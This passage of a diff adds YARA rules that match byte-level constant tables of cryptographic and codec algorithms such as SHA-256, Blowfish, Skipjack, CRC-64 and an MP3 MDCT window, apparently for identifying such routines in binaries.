+	$a0 = { d921123f6d55323f0821503f384b693f68227c3fc0b0883fb0e8983fdb4caf3f }
+
+condition:
+	$a0
+}
+
+	
+rule Skipjack_crypto_algorithm_ftable__8_byt_256_
+{
+strings:
+	$a0 = { a3d70983f848f6f4b321157899b1aff9e72d4d8ace4cca2e5295d91e4e3844280adf02a017f1606812b77ac3e9fa3d5396846bbaf2639a197caee5f5f7166aa239b67b0fc193811beeb41aead0912fb855b9da853f41bfe05a58805f660bd89035d5c0a733066569450094566d989b7697fcb2c2b0fedb20e1ebd6e4dd474a1d42ed9e6e493ccd4327d207d4dec7671889cb301f8dc68faac874dcc95d5c31a47088612c9f0d2b8750825464267d0340344b1c73d1c4fd3bccfb7fabe63e5ba5ad04239c145122f02979717eff8c0ee20cefbc72756f37a1ecd38e628b8610e8087711be924f24c532369dcff3a6bbac5e6ca9135725b5e3bda83a0105592a46 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA256__32_lil_AND_
+{
+strings:
+	$a0 = { 67e6096a[0-20]85ae67bb[0-20]72f36e3c[0-20]3af54fa5[0-20]7f520e51[0-20]8c68059b[0-20]abd9831f[0-20]19cde05b[0-20]982f8a42[0-20]91443771[0-20]cffbc0b5[0-20]a5dbb5e9[0-20]5bc25639[0-20]f111f159[0-20]a4823f92[0-20]d55e1cab[0-20]98aa07d8[0-20]015b8312[0-20]be853124[0-20]c37d0c55[0-20]745dbe72[0-20]feb1de80[0-20]a706dc9b[0-20]74f19bc1[0-20]c1699be4[0-20]8647beef[0-20]c69dc10f[0-20]cca10c24[0-20]6f2ce92d[0-20]aa84744a[0-20]dca9b05c[0-20]da88f976[0-20]52513e98[0-20]6dc631a8[0-20]c82703b0[0-20]c77f59bf[0-20]f30be0c6[0-20]4791a7d5[0-20]5163ca06[0-20]67292914[0-20]850ab727[0-20]38211b2e[0-20]fc6d2c4d[0-20]130d3853[0-20]54730a65[0-20]bb0a6a76[0-20]2ec9c281[0-20]852c7292[0-20]a1e8bfa2[0-20]4b661aa8[0-20]708b4bc2[0-20]a3516cc7[0-20]19e892d1[0-20]240699d6[0-20]85350ef4[0-20]70a06a10[0-20]16c1a419[0-20]086c371e[0-20]4c774827[0-20]b5bcb034[0-20]b30c1c39[0-20]4aaad84e[0-20]4fca9c5b[0-20]f36f2e68[0-20]ee828f74[0-20]6f63a578[0-20]1478c884[0-20]0802c78c[0-20]faffbe90[0-20]eb6c50a4[0-20]f7a3f9be[0-20]f27871c6 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_s_init__32_lil_4096_
+{
+strings:
+	$a0 = { a60b31d1acb5df98db72fd2fb7df1ad0edafe1b8967e266a45907cba997f2cf14799a124f76c91b3e2f2010816fc8e85d8206963694e5771a3fe58a47e3d93f48f74950d58b68e7258cd8b71ee4a15821da4547bb5595ac239d5309c1360f22a23b0d1c5f0856028187941caef38dbb8b0dc798e0e183a608b0e9e6c3e8a1eb0c17715d7274b31bdda2faf78605c6055f32555e694ab55aa629848574014e8636a39ca55b610ab2a345cccb4cee84111af8654a193e9727c1114eeb32abc6f635dc5a92bf6311874163e5cce1e93879b33bad6af5ccf246c8153327a7786952898488f3bafb94b6b1be8bfc493212866cc09d86191a921fb60ac7c483280ec5d5d5d84efb17585e9022326dc881b65eb813e8923c5ac96d3f36f6d0f3942f48382440b2e042084a44af0c8695e9b1f9e4268c6219a6ce9f6619c0c67f088d3abd2a0516a682f54d828a70f96a33351ab6c0bef6ee43b7a1350f03bba982afb7e1d65f1a17601af393e59ca66880e43821986ee8cb49f6f45c3a5847dbe5e8b3bd8756fe07320c1859f441a40a66ac15662aad34e06773f3672dffe1b3d029b4224d7d03748120ad0d3ea0fdb9bc0f149c97253077b1b9980d879d425f7dee8f61a50fee33b4c79b6bde06c97ba06c004b64fa9c1c4609f40c29e5c5e63246a19af6ffb68b5536c3eebb239136fec523b1f51fc6d2c95309b444581cc09bd5eaf04d0e3befd4a33de07280f66b34b2e1957a8cbc00f74c845395f0bd2dbfbd3b9bdc079550a32601ac600a1d679722c40fe259f67cca31ffbf8e9a58ef82232dbdf16753c156b61fdc81e502fab5205adfab53d32608723fd487b315382df003ebb575c9ea08c6fca2e56871adb6917dff6a842d5c3ff7e28c63267ac73554f8cb0275b69c858cabb5da3ffe1a011f0b8983dfa10b88321fd6cb5fc4a5bd3d12d79e4539a6545f8b6bc498ed29097fb4bdaf2dde1337ecba44113fb62e8c6e4cedaca20ef014c7736fe9e7ed0b41ff12b4ddadb95989190ae718eadeaa0d5936bd0d18ed0e025c7af2f5b3c8eb794758efbe2f68f642b12f212b888881cf00d90a05ead4f1cc38f6891f1cfd1adc1a8b318222f2f77170ebefe2d75eaa11f028b0fcca0e5e8746fb5d6f3ac1899e289cee04fa8b4b7e013fd813bc47cd9a8add266a25f16057795801473cc9377141a216520ade686fab577f54254c7cf359dfb0cafcdeba0893e7bd31b41d6497e1eae2d0e25005eb37120bb006822afe0b8579b3664241eb909f01d916355aaa6df598943c1787f535ad9a25b7d20c5b9e50276032683a9cf95626819c811414a734eca2d47b34aa9147b5200511b1529539a3f570fd6e4c69bbc76a4602b0074e681b56fba081fe91b576bec96f215d90d2a216563b6b6f9b9e72e0534ff645685c55d2db053a18f9fa99947ba086a07856ee9707a4b4429b3b52e0975db232619c4b0a66ead7ddfa749b860ee9c66b2ed8f718caaecff179a696c526456e19eb1c2a5023619294c0975401359a03e3a18e49a98543f659d425bd6e48f6bd63ff799079cd2a1f530e8efe6382d4dc15d25f08620dd4c26eb7084c6e982635ecc1e023f6b6809c9efba3e1418973ca1706a6b84357f6886e2a05205539cb7370750aa1c84073e5caede7fec447d8eb8f2165737da3ab00d0c50f0041f1cf0ffb300021af50caeb274b53c587a8325bd2109dcf91391d1f62fa97c734732940147f52281e5e53adcdac2373476b5c8a7ddf39a466144a90e03d00f3ec7c8ec411e75a499cd38e22f0eea3ba1bb803231b33e18388b544e08b96d4f030d426fbf040af69012b82c797c972472b07956af89afbc1f779ade100893d912ae8bb32e3fcfdc1f72125524716b2ee6dd1a5087cd849f1847587a17da0874bc9a9fbc8c7d4be93aec7aecfa1d85db66430963d2c364c447181cef08d91532373b43dd16bac224434da11251c4652a02009450dde43a139ef8df71554e3110d677ac819b19115ff15635046bc7a3d73b18113c09a52459ede68ff2fafbf1972cbfba9e6e3c151e7045e386b16fe9ea0a5e0e86b32a3e5a1ce71f77fa063d4eb9dc65290f1de799d6893e8025c8665278c94c2e6ab3109cba0e15c678eae294533cfca5f42d0a1ea74ef7f23d2b1d360f2639196079c21908a72352b61213f76efeadeb661fc3ea9545bce383c87ba6d1377fb128ff8c01efdd32c3a55a6cbe852158650298ab680fa5ceee3b952fdbad7def2a842f6e5b28b62115706107297547ddec10159f6130a8cc1396bd61eb1efe3403cf6303aa905c73b539a2704c0b9e9ed514deaacbbc86cceea72c6260ab5cab9c6e84f3b2af1e8b64caf0bd19b96923a050bb5a65325a6840b3b42a3cd5e99e31f7b821c0190b549b99a05f877e99f795a87d3d629a8837f8772de3975f93ed11811268162988350ed61fe6c7a1dfde9699ba5878a584f5576372221bffc3839b9646c21aeb0ab3cd54302e53e448d98f2831bc6deff2eb58eaffc63461ed28fe733c7ceed9144a5de3b764e8145d1042e0133e20b6e2ee45eaabaaa3154f6cdbd04fcbfa42f442c7b5bb6aef1d3b4f650521cd419e791ed8c74d85866a474be45062813df2a162cf46268d5ba08388fca3b6c7c1c324157f9274cb690b8a844785b2925600bf5b099d4819ad74b16214000e82232a8d4258eaf5550c3ef4ad1d61703f2392f07233417e938df1ec5fd6db3b226c5937de7c6074eecba7f285406e3277ce848007a69e50f81955d8efe83597d961aaa769a9c2060cc5fcab045adcca0b802e7a449e843445c30567d5fdc99e1e0ed3db73dbcd88551079da5f67404367e36534c4c5d8383e719ef8283d20ff6df1e7213e154a3db08f2b9fe3e6f7ad83db685a3de9f74081941c264cf634296994f7201541f7d402762e6bf4bc6800a2d4712408d46af42033b7d4b743af6100502ef6391e46452497744f211440888bbf1dfc954daf91b596d3ddf470452fa066ec09bcbf8597bd03d06dac7f0485cb31b327eb964139fd55e64725da9a0acaab25785028f4290453da862c0afb6db6e96214dc68006948d7a4c00e68ee8da127a2fe3f4f8cad87e806e08cb5b6d6f47a7c1eceaaec5f37d399a378ce422a6b40359efe20b985f3d9abd739ee8b4e123bf7fac91d56186d4b3166a326b297e3ea74fa6e3a32435bddf7e74168fb2078ca4ef50afb97b3fed8ac564045279548ba3a3a5355878d8320b7a96bfe4b9596d0bc67a855589a15a16329a9cc33dbe199564a2aa6f925313f1c7ef45e7c31299002e8f8fd702f27045c15bb80e32c28054815c195226dc6e43f13c148dc860fc7eec9f9070f1f0441a4794740176e885deb515f32d1c09bd58fc1bcf26435114134787b25609c2a60a3e8f8df1b6c631fc2b4120e9e32e102d14f66af1581d1cae095236be1923e33620b243b22b9beee0ea2b285990dbae68c0c72de28f7a22d457812d0fd94b79562087d64f0f5cce76fa34954fa487d8727fd9dc31e8d3ef34163470a74ff2e99ab6e6f3a37fdf8f460dc12a8f8ddeba14ce11b990d6b6edb10557bc6372c676d3bd4652704e8d0dcc70d29f1a3ff00cc920f39b50bed0f69fb9f7b669c7ddbce0bcf91a0a35e15d9882f13bb24ad5b51bf79947bebd63b76b32e3937795911cc97e226802d312ef4a7ad42683b2b6ac6cc4c75121cf12e783742126ae75192b7e6bba1065063fb4b18106b1afaedca11d8bd253dc9c3e1e2591642448613120a6eec0cd92aeaabd54e67af645fa886da88e9bfbefec3e4645780bc9d86c0f7f0f87b78604d6003604683fdd1b01f38f604ae4577ccfc36d7336b428371ab1ef0874180b05f5e003cbe57a07724aee8bd99424655612e58bf8ff4584ea2fdddf238ef74f4c2bd8987c3f96653748eb3c855f275b4b9d9fc466126eb7a84df1d8b790e6a84e2955f918e596e467057b4209155d58c4cde02c9e1ac0bb9d00582bb4862a8119ea97475b6197fb709dca9e0a1092d66334632c4021f5ae88cbef00925a0994a10fe6e1d1d3db91adfa4a50b0ff286a169f1682883dab7dcfe0639579bcee2a1527fcd4f015e1150fa8306a7c4b502a027d0e60d278cf89a41863f77064c60c3b506a861287a17f0e086f5c0aa586000627ddc30d79ee61163ea382394ddc2533416c2c256eecbbbdeb6bc90a17dfceb761d59ce09e4056f88017c4b3d0a7239247c927c5f72e386b99d4d72b45bc11afcb89ed3785554edb5a5fc08d37c3dd8c40fad4d5eef501ef8e661b1d91485a23c13516ce7c7d56fc44ee156cebf2a3637c8c6dd34329ad7128263928efa0e67e000604037ce393acff5fad33777c2ab1b2dc55a9e67b05c4237a34f402782d3be9bbc999d8e11d515730fbf7e1c2dd67bc400c76b1b8cb74590a121beb16eb2b46e366a2fab4857796e94bcd276a3c6c8c24965eef80f537dde8d461d0a73d5c64dd04cdbbb39295046baa9e82695ac04e35ebef0d5faa19a512d6ae28cef6322ee869ab8c289c0f62e2443aa031ea5a4d0f29cba61c0834d6ae99b5015e58fd65b64baf9a22628e13a3aa78695a94be96255efd3ef2fc7daf752f7696f043f590afa7715a9e4800186b087ade6099b93e53e3b5afd90e997d7349ed9b7f02c518b2b023aacd5967da67d01d63ecfd1282d7d7ccf259f1f9bb8f2ad72b4d65a4cf5885a71ac29e0e6a519e0fdacb0479bfa93ed8dc4d3e8cc573b282966d5f8282e137991015f78556075ed440e96f78c5ed3e3d46d0515ba6df4882561a103bdf06405159eebc3a257903cec1a27972a073aa99b6d3f1bf521631efb669cf519f3dc2628d93375f5fd55b182345603bb3cba8a11775128f8d90ac26751ccab5f92adcc5117e84d8edc303862589d3791f92093c2907aeace7b3efb64ce215132be4f777ee3b6a8463d29c36953de4880e613641008aea224b26dddfd2d8569662107090a469ab3ddc04564cfde6c58aec8201cddf7be5b408d581b7f01d2ccbbe3b46b7e6aa2dd45ff593a440a353ed5cdb4bca8ceea72bb8464faae12668d476f3cbf63e49bd29e5d2f541b77c2ae70634ef68d0d0e7457135be7711672f85d7d53af08cb4040cce2b44e6a46d23484af15012804b0e11d3a9895b49fb80648a06ece823b3f6f82ab20354b1d1a01f8277227b1601561dc3f93e72b793abbbd254534e13988a04b79ce51b7c9322fc9ba1fa07ec81ce0f6d1c7bcc31101cfc7aae8a14987901a9abd4fd4cbdedad038da0ad52ac33903673691c67c31f98d4f2bb1e0b7599ef73abbf543ff19d5f29c45d9272c2297bf2afce61571fc910f2515949b6193e5faeb9cb6ce5964a8c2d1a8ba125e07c1b60c6a05e36550d21042a403cb0e6eece03bdb9816bea0984c64e9783232951f9fdf92d3e02b34a0d31ef2718941740a1b8c34a34b2071bec5d83276c38d9f35df2e2f999b476f0be61df1e30f54da4ce591d8da1ecf7962ce6f7e3ecd66b11816051d2cfdc5d28f849922fbf657f323f5237632a63135a89302cdcc566281f0acb5eb755a9736166ecc73d288926296ded049b9811b90504c1456c671bdc7c6e60a147a3206d0e1459a7bf2c3fd53aac9000fa862e2bf25bbf6d2bd3505691271220204b27ccfcbb62b9c76cdc03e1153d3e3401660bdab38f0ad47259c2038ba76ce46f7c5a1af77606075204efecb85d88de88ab0f9aa7a7eaaf94c5cc248198c8afb02e46ac301f9e1ebd669f8d490a0de5ca62d25093f9fe608c232614eb75be277cee3df8f57e672c33a }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain2__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3ff08000000000003ffce000000000004009440000225c1840161b7ffff31d77bff0800000000000bffce00000000000c009440000225c18c0161b7ffff31d77 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0xC96C5795D7870F42__64_lil_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000420f87d795576cc9c6118978bef8b45b841e0eaf2bafd8928c2312f17cf169b7ce2c9526e9a6057e4a329b89c209ddec083d1c5e575eb1255a48a3356cb5bfa7184724e2f9e2d36e9c592a4dd24d0bfcde56ad9a471a6735d66bb1c41044d610946436138513bad9107a38bcaebc624b5275bf6b3beb0e82f69fc1bc4d3d1386b490466bd86a7f4f308e48c4f3c5a7dd7281cf136692cb147abcd34d31cc7a3138b3549aa49b16f8bcad5a358f34ce6afea2dde21a63a2a3acd762892188ac21eed8e55eb4dfc0e86ac6ebf19f70187a28c96c260a2774b320f470785d79c59662fbf7afc82ea95fe6e5f900e38171cda4ea7ed776d61d04ae3004ae0e2d4ac5ec3f83799b7a260c68218dd6b0d5fe9e2a2e0a01258292572213165f72dc2372601c9188e78b4fbbe4029f27cc249729a60d18f05973fbe0f478a79b6298f562b677204cf7cf99ab32692ee3dc6041397066a93449372df0785bb56a1e699cd53a5432bd8b3ef01cbe4a3c12a091288efc45bbc535c6444758afc512431059431aa042c5d647358a9ebe4c6afde8ed18dcb1cbbd68bf81d1d48cd7e33fe130f496835034aab65c3d129d5e9b811984af5092d94c144ee86602e766272fa5e6e440e8e1f0baf28a2dc4f6ef5f915d52bf86f96888040a3e768ec474d653548f53cccbf301c603e39a48d5fdaeedac3b080ada7a7978fb57c11e6e8f8b880df8435c61085c1d5a948ad87f06f336f54c189a708124a3a220d1924d9d7af4fc91f4d0421aad61abfd3d545c14024a0425af165393d5df53496644262cbee4b847e40629ab6971ef2b2d8237a5c65a40f3bfc0382211cf179f76c8053e4f98492e538a0ab9980d1e429a0e14b73726b19a084c1b30e0b3e6f6c1e8f14e37c530ebc5aafec9e05067870c2ee0c74f7bc85f9e6cef4098ee9f335764d25cc6b9c1827226dddb112c96eebba2c3d5be07393629e0cc5269926e5ae0b2b9ed02a9855462f0b66ad53cd238ab74a8647a177de03936a7e3ad822a8cf03e9afff3d5743dd57c9578244023511cf88b768b6b8c898eba84f15cfedbe547b05e8b258620b286f2510cf21377de4f764f025d38d806dd3440858aad8f6a143c7d99d4fad1db317e721e036f86b7f8fa6c10ac44296f6ab863977bd17e03a3ea162810ea950d21a819afc77fc261e82c07a168546db97a6e0826bfc13ad5b366353ae196646496243abd360333085fa024b399289cd0cde22b344ebdcbbc0446c14a99cb1da10004cecd4e5e4acdc980d0c3e175e5155bc2df4436e0b27992cae25868b7ecc8b788eddfbf22bba47e0cf3d11009147cec4efc56c79c4310251c89e9aca7a81ea75e866e7b32ff726eda9860d41950aafc9897e7038c07c63590aafb5ddb597710d2a57c8a4e0e1bd956bb722565a1c34b14b4f5f2f0f6af823cdc1e17111bf0877ed399c0844c9c4efacd976fafe344dcb8c210b83ab42815b0ff0ce66dea9930f2f08b31f8bdf5f976ee859ed3122d6b34e10249464541a26694bd227dae4f20249b3af5e8f923e9a085345ac356fb7be28ab38d560197b2eab7afd3015f2697a8b8280494084a5e2ca626abbfa792cc6ea9a17c2af0fe05ca43dfab5c26e301884c587cc9718fc80c5256d3e2de575a4e5dd10477893b934660cd5a20d78ab6046f4a8db580e67f807144229e2f3eedc27ec3f50b785224900b7c9e30935ca6d204fb49a5c4306f561af5e68e6be8fd141572311b3c84341c286e6f4c6235115e27e9b8d93559d8da39e717f29a814a983660c067cded8392ec1ab91f36ba42d0e39d6e8a61d68b54fd93c1a1ce0e1916f21416349962d01ecf084863c7d3f55cc08f9ff690bf3cd8de8130dd3f67ae9ad106e748680b67c8a4b98c738305e58aab3e5be6d4692c0eb530f4cd7bb1be4cbab723582cdd774487ab7d0f726c5206882caa9a25009b82962205b18ad809c099a5d224ddb4c06473db05520ba9c4267c5cd2c75cc50da262527decf31d9fe06dd5aa79a47156e850c9f42efac073aa5f4e23bbadacba2e41408c900274286c4ec75b055518e13e3b78303ebe16637c34ffe7abe97aaaf82af1488046a238ba25769f1511cef1b2186ac1424f7fd4f017ed16d718131d7409e3b9fcb7cb8f3606646e69e0a74622b2919c991608c460bd164b0c41640de4a318e427eebc9fa6ac9f33b2b9d056ae91836de5e76173ec9e04ba70b00dba68800a155b1fd5282a8f8dc2ce48b9e178fa32a9f5a3b7633af5b57e60f4dbaabeebbbd14b5b0338fce43c06de0c6ff1f4d920588952ded4b6d6a78f1c05b21d32c8a92037aa6a8f70c72ef7a2fd0646d42d5020d42b1b429622d7f7417c778b123cd9586ad3af1950335e8fff84c3d0580e42d1a8da72f51a01c5063d8d1e3c9e1fcba91622c6aedc104c7e8375aa678e65f315b89ea4e5cc6a74c22dc9c82c48747a6d066610be0a7bfdba93317c770246e1e4c46fcd52404966335138a19bc457689c7a9779098658ef4befc015c08c829532973b4201ce8d12e5026c2ec84a931c4a29c3f65a089c9b9dbc949a9300a187c3ebca2bb642ae00147e9d477fc6b00ebb55329fed84bf896cc065f324d6ca3607fb8efda694c5b1d06ed9916f10dbbf7f457649fd52d438a8d02125345ae924f6877f941118e6a3211228f8d89cf8ad8e3987204adef72a59acd04c837a1d548eda0651873812d3594f513d4ebc0cddf664fee5dcfe035a21f1a98915f63e467fa6f73830b431c1a833a054f9302fcf07180f8c6b722048d08d58e0a22055f7bbb6b3ee20625a706c23e482e9e6447ec3084b5a7ba44bf9149d1c36b2ac76e54aca428797ee79629d5f15eb5e6a676c3274ba33cc2868ebe5e1ed5f05 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xD800000000000000__64_lil_refl_False_
+{
+strings:
+	$a0 = { 000000000000000000000000000000d8000000000000006800000000000000b000000000000000d0000000000000000800000000000000b80000000000000060000000000000007800000000000000a0000000000000001000000000000000c800000000000000a8000000000000007000000000000000c0000000000000001800000000000000f0000000000000002800000000000000980000000000000040000000000000002000000000000000f8000000000000004800000000000000900000000000000088000000000000005000000000000000e0000000000000003800000000000000580000000000000080000000000000003000000000000000e8000000000000003800000000000000e00000000000000050000000000000008800000000000000e800000000000000300000000000000080000000000000005800000000000000400000000000000098000000000000002800000000000000f00000000000000090000000000000004800000000000000f8000000000000002000000000000000c8000000000000001000000000000000a00000000000000078000000000000001800000000000000c0000000000000007000000000000000a800000000000000b0000000000000006800000000000000d80000000000000000000000000000006000000000000000b8000000000000000800000000000000d0000000000000007000000000000000a8000000000000001800000000000000c000000000000000a0000000000000007800000000000000c80000000000000010000000000000000800000000000000d0000000000000006000000000000000b800000000000000d8000000000000000000000000000000b000000000000000680000000000000080000000000000005800000000000000e8000000000000003000000000000000500000000000000088000000000000003800000000000000e000000000000000f8000000000000002000000000000000900000000000000048000000000000002800000000000000f00000000000000040000000000000009800000000000000480000000000000090000000000000002000000000000000f80000000000000098000000000000004000000000000000f00000000000000028000000000000003000000000000000e80000000000000058000000000000008000000000000000e000000000000000380000000000000088000000000000005000000000000000b8000000000000006000000000000000d00000000000000008000000000000006800000000000000b0000000000000000000000000000000d800000000000000c0000000000000001800000000000000a80000000000000070000000000000001000000000000000c8000000000000007800000000000000a000000000000000e0000000000000003800000000000000880000000000000050000000000000003000000000000000e8000000000000005800000000000000800000000000000098000000000000004000000000000000f0000000000000002800000000000000480000000000000090000000000000002000000000000000f8000000000000001000000000000000c8000000000000007800000000000000a000000000000000c0000000000000001800000000000000a80000000000000070000000000000006800000000000000b0000000000000000000000000000000d800000000000000b8000000000000006000000000000000d0000000000000000800000000000000d8000000000000000000000000000000b00000000000000068000000000000000800000000000000d0000000000000006000000000000000b800000000000000a0000000000000007800000000000000c80000000000000010000000000000007000000000000000a8000000000000001800000000000000c0000000000000002800000000000000f00000000000000040000000000000009800000000000000f800000000000000200000000000000090000000000000004800000000000000500000000000000088000000000000003800000000000000e00000000000000080000000000000005800000000000000e800000000000000300000000000000090000000000000004800000000000000f8000000000000002000000000000000400000000000000098000000000000002800000000000000f000000000000000e8000000000000003000000000000000800000000000000058000000000000003800000000000000e000000000000000500000000000000088000000000000006000000000000000b8000000000000000800000000000000d000000000000000b0000000000000006800000000000000d80000000000000000000000000000001800000000000000c0000000000000007000000000000000a800000000000000c8000000000000001000000000000000a0000000000000007800000000000000a8000000000000007000000000000000c00000000000000018000000000000007800000000000000a0000000000000001000000000000000c800000000000000d0000000000000000800000000000000b80000000000000060000000000000000000000000000000d8000000000000006800000000000000b000000000000000580000000000000080000000000000003000000000000000e80000000000000088000000000000005000000000000000e00000000000000038000000000000002000000000000000f80000000000000048000000000000009000000000000000f0000000000000002800000000000000980000000000000040 }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_MP3_window_subband____mdct_routine_win__flt32___32_big_576_
+{
+strings:
+	$a0 = { 2a861b002b34cccc2b844e212b9df7fc2ba69c582b9df7fc2b844e212b34cccc2a861b002cbff8532caba9fe2c9532922c7a819f2c491def2c17ba3e2bcfad742b6b9f852a9259b7acbff853acaba9feac953292ac7a819fac491defac17ba3eabcfad74ab6b9f85aa9259b7aa861b00ab34ccccab844e21ab9df7fcaba69c58ab9df7fcab844e21ab34ccccaa861b002a861b002b34cccc2b844e212b9df7fc2ba69c582b9df7fc2b844e212b34cccc2a861b002cbff8532caba9fe2c9532922c7a819f2c491def2c17ba3e2bcfad742b6b9f852a9259b7acc02725acad2533ac98d1eaac8354e3ac59aff9ac2b0e0babf42266ab8931c9aa9d7b4a000000000000000000000000000000000000000000000000aa809048aae34faeaa71ae053e06cfea3ed413cd3f446f8b3f8bafff3fa6d0173fc8eb753ff5e2be401a827a404afb69409057b940f3106b41b73ae93f7c1c5c3f248dbb3eaf1d443f708fb2be31d0d4bf441b7d3f5db3d73f000000bf03b5febef186dabea07302be3a4774bdc1b01dbd27cb87bc68a11dbb727b463f5b84a83f61b9d83f731add3f7bba813f7eda413f7fc8fd3f7ff9653f7fff8d0000000000000000000000000000000000000000000000002a8090482ae34fae2a71ae052cc027252cad25332c98d1ea2c8354e32c59aff92c2b0e0b2bf422662b8931c92a9d7b4aacbff853acaba9feac953292ac7a819fac491defac17ba3eabcfad74ab6b9f85aa9259b7aa861b00ab34ccccab844e21ab9df7fcaba69c58ab9df7fcab844e21ab34ccccaa861b00 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_hi0xC2DB2AA3__32_lil_4096_
+{
+strings:
+	$a0 = { 00000000bb423f5e76857ebccdc741e2896f981d322da743ffeae6a144a8d9ff12df303ba99d0f65645a4e87df1871d99bb0a82620f29778ed35d69a5677e9c424be61769ffc5e28523b1fcae9792094add1f96b1693c635db5487d76016b8893661514d8d236e1340e42ff1fba610afbf0ec950044cf60ec98bb7ec72c988b2487cc3ecf33efcb23ef9bd5085bb820ec1135bf17a5164afb796254d0cd41a135aa3f3d7e1e1cc892c268d6b9764b235d3cc6bca688e5494a54915761e0b2a286cc2a29ad7809dc41a47dc26a105e378e5ad3a875eef05d99328443b286a7b657e1d92a1c55fadff0898ec1db3dad343f7720abc4c3035e281f774003ab54b5ef59de3bc4edfdce283189d00385aa25e7cf27ba1c7b044ff0a77051db1353a43e742d3875c00ecd991c7ad3b2a8592656e2d4b9ad56f74c418a83526a3ea0a78d12382ca6a61bd94a7a6fc761ce4c328584c1ad7e30e25892ec9646b958b5b35c3fcb2f178be8dafb579cc4d0e3bf3134a932aecf1d115b23c16545087546b0ebde1205006a31f0ecb645eec702661b2348eb84d8fcc8713420bc6f1f949f9afaf3e106b147c2f35d9bb6ed762f95189265188769d13b72850d4f6caeb96c994995f4126221d7e78efda3f9a549800c41030d93bab72e66566b5a787ddf798d98b80711d30c24e43fd050fa1464730ff02efe900b9add65e746a97bccf28a8e28f5ea21c341c9d42f9dbdca04299e3fe06313a01bd73055f70b444bdcbf67be39d81922726c3ad79eb04ec9b5046d3c514ee0a3aafac3564626b7486d9294bd8abe0c36a10a2fc34dd65bdd666278288228f5b7799cd6429540a25cbef481a95b93ff351027dcc0fcfba8ded74f8b2b330506b4c8b12541246d515f0fd972aaec72261f07c605eaeb1a71f4c0ae520124e4df9edf50fc6b338c88751838ab80fd5fd51cb6ebf6e95a3782f77183a10295c92c9d6e7d0f6882a17b76a91558834e39c008658de3fd895197e3a2e5b41646af3989bd1b1a7c51c76e627a734d979f14330bd4a010fe387c64e013c84715f782ca8a0c36e97fe0ea9d61cb5ebe9427ac341a0c1817efe0c463f1cb7040042f3acd9bd48eee6e38529a7013e6b985f681c719bd35e4ec51e990f27a5db3079e173e9865a31d6d897f6973a2cb4a8645e7d20d6e53f1f8828f85e6a93ba6134d712b8cb6c508795a197c6771ad5f9294ca210edf7e02fb33a276e518165510fc5cd88f07e8fb7aeb348f64c080ac91232bf824c89fdbd12443afcf0ff78c3aebbd01a510092250fcd5564ed76175bb32060b2779b228d2956e5cccbeda7f395a90f2a6a124d1534df8a54d664c86b881601e33aad43dc6460849d86dbc6a2d89f6e7b27242c4479e9eb059b52a93ac504ded301bf9cec5f725badbdc91992e38db14b1c36f37442fb3435a040760afe1ebd4439a5ff7b6768383a85d37a05db97d2dc242c90e37ae157a2985a159dc60c627402b7204b5c7ae70abec1a535e0850dec1f3e4fd341f38892a348caadfd3a03254f81411a114c865bf3f7c464adb36cbd52082e820cc5e9c3ee7eabfcb028dc1574939e2a2a5e596bc8e51b5496a1b38d691af1b237d736f3d56c74cc8b56c187d5ed83b88b2044f9699b06c637dfae1fc864ec2096a92b617412695e2a441eb7eeff5c88b0329bc95289d9f60ccd712ff3763310adbbf4514f00b66e11727fe6a3c93dd9fd04fa981fbfb8a741fb107ebe405241e08d95000236d73f5c60a0d698dbe2e9c61625a824ad67977ae9cf4e85528d71db9f4a303924080f67eb20a785506298db9da5d93926e7e667624f3f98d90d00c614ca4124af887e7af9ff97be42bda8e08f7ae9023438d65c70900fa3cbd230fd0615711fbd574e41cf9ec6f374dcf9adb91bb84f0259871146f15eeefdb361b0307420528b361f0cdd41f6c86603c996abc488741086b72a542e6ed5ef6c518b22ab106999e92f37a35c6469181e5b37d5d91ad56e9b258b2a33fc749171c32a5cb682c8e7f4bd96b18354520ac16b0cc7062aee7c4415b038eccc4f83aef3114e69b2f3f52b8dad87e2051f3ca03a41f1677ba34a2544fd0e8d9d02b5cfa25c7808e3bec34adce0953d35242e7f0a7ae3b84b9858fa74c61c52ad39a71092676ad7d385d195ecdb91e3e6252aa1d97be76698995c24a7c7188c7e38a3ce41666e090084d54b3fda833cd61e387ee940f5b9a8a24efb97fc0a534e03b111715d7cd630bfc7940fe1b55d87530e1fb80dc3d8f9ef789ac6b13c321f4e877020104ab761f2f1f55eaca782b7681cc08836d107c9d46a45f68a2eed2f7595af102b586851c9e32a6e97d99f25c962dd1a97af1a5b751458642b50f0bdd4ebb2828a2675c3689d37fc36cb4015f270022aacbdc56b4e06875410422f8deff96db2b134aaf3538fe8cc0dfd2144bf46637be18ba43a0330e6055d744edca2cf0ce3fc02cba21eb9899d40effe748454bc4bda997b0a38223935666691ec99ddd3d3c710149225ab56ad7b647e0599df3c3ac712fb7b25a9b9447bed119d845653a2da9b94e33820d6dc6676a135a2cde30afc00244b1ebb667440ffceadbf448c92e1894bd3033209ec5d40c064effb825bb136451a538d07250dc9affcf272edc3acbf2a824e0468bd10521f54d4e95d6b8a249a2a689fd81536db70ccc96032f397adf5b27516b78d2b2c02c6759740f92b5a87b8c9e1c58797a56d5e681e2f6136d3e820d468aa1f8a3eddf64e859fc910485888f2f31ab7acb7b26e530cf0510dc13710ef7a752fb108bca703b3fe985d7e39d9bfc57be6e181d33f1e3a910040f75641a24c147efc1a639738a121a8666ce6e984d7a4d6da930c0f25284e307be58971995ecb4ec73c7a89728738b62c4afff7cef1bdc890b515116f0e572e31c3906fd378d2508d2ea5b94995e786175820c7f5e362f8aba7ca21541c881e0ad14f5fe86a0d60b618c4e804a386d75a6e4196b8d503a9e691ab70192ae94f47e72e0ea55c6c31fb0a1bd83fb159e7617c9ea683c7dc99dd8374402238367f7cf5f13e9e4eb301c074064a9ecf4475c002833422b9c10b7cfd69d283462beddd8becac3f30ae936166d97aa5dd9b45fb105c0419ab1e3b47efb6e2b854f4dde699339c042271a35a50b82be8ebfa14b6263d55549d7f6a0ad9d7b3f562958cabaf52cd491410f21742671bd3f925248d34e2656f8fa05a31cb0883ce704abc90bd8dfd7206cfc22cc9e76ace72a55590bf62147204202b2c4088